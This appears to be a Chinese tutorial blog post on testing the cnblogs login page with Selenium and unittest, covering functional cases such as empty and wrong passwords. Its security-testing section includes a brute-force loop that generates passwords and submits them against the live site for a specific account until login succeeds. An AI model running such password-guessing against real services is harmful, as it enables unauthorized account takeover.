使用selenium测试自己项目的登录界面

发表于:2022-7-07 09:44

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:程序猿007号    来源:51CTO博客

  Selenium是一套完整的Web应用程序测试系统,它包含了测试的录制(Selenium IDE)、编写及运行(Selenium Remote Control)和测试的并行处理(Selenium Grid)。Selenium的核心Selenium Core基于JsUnit,完全由JavaScript编写,因此可运行于任何支持JavaScript的浏览器上。Selenium Core由一种指定格式的HTML文件驱动,在一定程度上增强了测试套件(Test Suite)的可读性。Selenium Remote Control允许测试人员使用常见的语言(自然包括C#等.NET语言)编写测试代码,并支持不同操作系统下的各种主流浏览器。Selenium Grid的作用是将测试分发至多台机器,这样便可大大加快测试速度。与WatiN相同,Selenium也是一款同样使用Apache License 2.0协议发布的开源框架。
  特点:
  ·开源,免费;
  · 多浏览器支持:Firefox、Chrome、IE、Opera、Edge;
  · 多平台支持:LinuxWindows、MAC;
  · 多语言支持:JavaPythonRuby、C#、JavaScript、C++;
  · 对…出页面有良好的支持;
  · 简单(API简单)、灵活(用开发语言驱动> ;
  · 支持分布式测试用例执行;
  使用selenium测试博客园cnblogs的登录界面:
  一:功能测试
  1.用户名为空 或 用户名密码均为空;
  2.用户名或密码错误;
  3.用户名存在、密码为空;
  4.用户名和密码均正确。
  步骤:
  (一)登录方法
     1.把输入账号、输入密码、点击登录按钮三个步骤写成一个方法;
     2.然后把输入的账号和密码参数化。
  import unittest
  import selenium
  from selenium.webdriver.common.by import By
  from selenium import webdriver
  from time import sleep
  class LoginCase(unittest.TestCase):
       def setUp(self):
          self.dr = webdriver.Chrome()
          self.dr.maximize_window()
       #定义登录方法
       def login(self, username, password):
           self.dr.get('https://')  #登陆页面网址
           self.dr.find_element(By.ID,'u').send_keys(username)  #各网站ID名不同,相同网站也有更新,以实际情况定位
           self.dr.find_element(By.ID,'p').send_keys(password)
           self.dr.find_element(By.ID,'login_button').click()
  (二)用例
     1.下面的用例可以调用前面写的登录方法,这样不用每次都去走登录流程;
     2.判断是否登录成功,我这里是取的登录成功后的账户名。
       def test_login_success(self):
           '''用户名、密码正确'''
           self.login('程序猿-007', '0000000000a') #正确用户名和密码
           link = self.dr.find_element(By.ID, 'header_user_left')
           # 用assertTrue(x)方法来断言  bool(x) is True 获取一条只有登陆成功才有的text,用来判断是否真的登陆成功
           self.assertTrue('欢迎你,程序猿-007' in link.text)
           # 截图  可自定义截图后的保存位置和图片命名
           self.dr.get_screenshot_as_file(r'D:\xiaojunjun\cnblogtest\\login_success.png')
       def test_login_pwd_error(self):
           '''用户名正确、密码不正确 或 用户名错误、密码正确'''
           self.login('程序猿-007', '000')  #正确用户名,错误密码
           sleep(10)
           error_message = self.dr.find_element(By.CSS_SELECTOR,'div.error-message').text
           # 用assertIn(a,b)方法来断言 a in b  '用户名或密码错误'在error_message里
           self.assertIn('用户名或密码错误', error_message)
           self.dr.get_screenshot_as_file(r'D:\xiaojunjun\cnblogtest\\login_pwd_error.png')
       def test_login_pwd_null(self):
           '''用户名正确、密码为空'''
           self.login('程序猿-007', '')  #密码为空
           error_message = self.dr.find_element(By.ID,'mat-error-1').text
           # 用assertEqual(a,b)方法来断言  a == b  请输入密码等于error_message
           self.assertEqual(error_message,'请输入密码')
           self.dr.get_screenshot_as_file(r'D:\xiaojunjun\cnblogtest\\login_pwd_null.png')
       def test_login_user_null(self):
           '''用户名为空、密码正确'''
           self.login('', '0000000000a')  #用户名为空,密码正确 或 用户名密码均为空
           error_message = self.dr.find_element(By.ID,'mat-error-0').text
           self.assertEqual(error_message,'请输入登录用户名或邮箱')  #用assertEqual(a,b)方法来断言  a == b
           self.dr.get_screenshot_as_file(r'D:\xiaojunjun\cnblogtest\\login_user_null.png'
       def tearDown(self):
           sleep(2)
           print('自动测试完毕!')
           self.dr.quit()
  if __name__ == '__main__':
      unittest.main()
  结果:
  二:界面测试(UI Test)  
  1.布局合理,testbox和按钮的长度,高度复合要求;  
  2.界面的设计风格与UI的设计风格统一;  
  3.界面中的文字简洁易懂,没有错别字。
  三:安全性测试(Security test)    1.错误登陆的次数限制(防止暴力破解)
      import itertools
  #迭代器,用来生成密码
  passwd = ("".join(x) for x in itertools.product("0a", repeat=10)) #迭代器,生成密码
      
      def test_violenceLogin(self):
           #测试错误登陆的次数限制(防止暴力破解)
           while True:
               # 先直接实现,然后再添加异常
               try:
                   str = next(passwd)
                   print(str)
                   self.login('1060267971', str)
                   #print("86864733"+str)
                   sleep(1)
                   link = self.dr.find_element(By.CSS_SELECTOR, 'img.avatar-img')
                   print(link.text)
                   if('你好,'+str in link.text):
                       break
               except StopIteration as e:
                   continue
               except selenium.common.exceptions.ElementNotInteractableException as e2:
                   continue
               except selenium.common.exceptions.NoSuchElementException as e3:
                   continue
           print("密码已破解:" + str)
           sleep(100)
  结果:
  博客园登录没有防破解
  四:兼容性测试(Compatibility Test)
  1.主流的浏览器下能显示正常以及功能正常;(IE,6,7,8,9, Firefox, Chrome, Safari,等)
  2.在相同浏览器的不同版本正常显示。
  本文内容不用于商业目的,如涉及知识产权问题,请权利人联系51Testing小编(021-64471599-8017),我们将立即处理
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号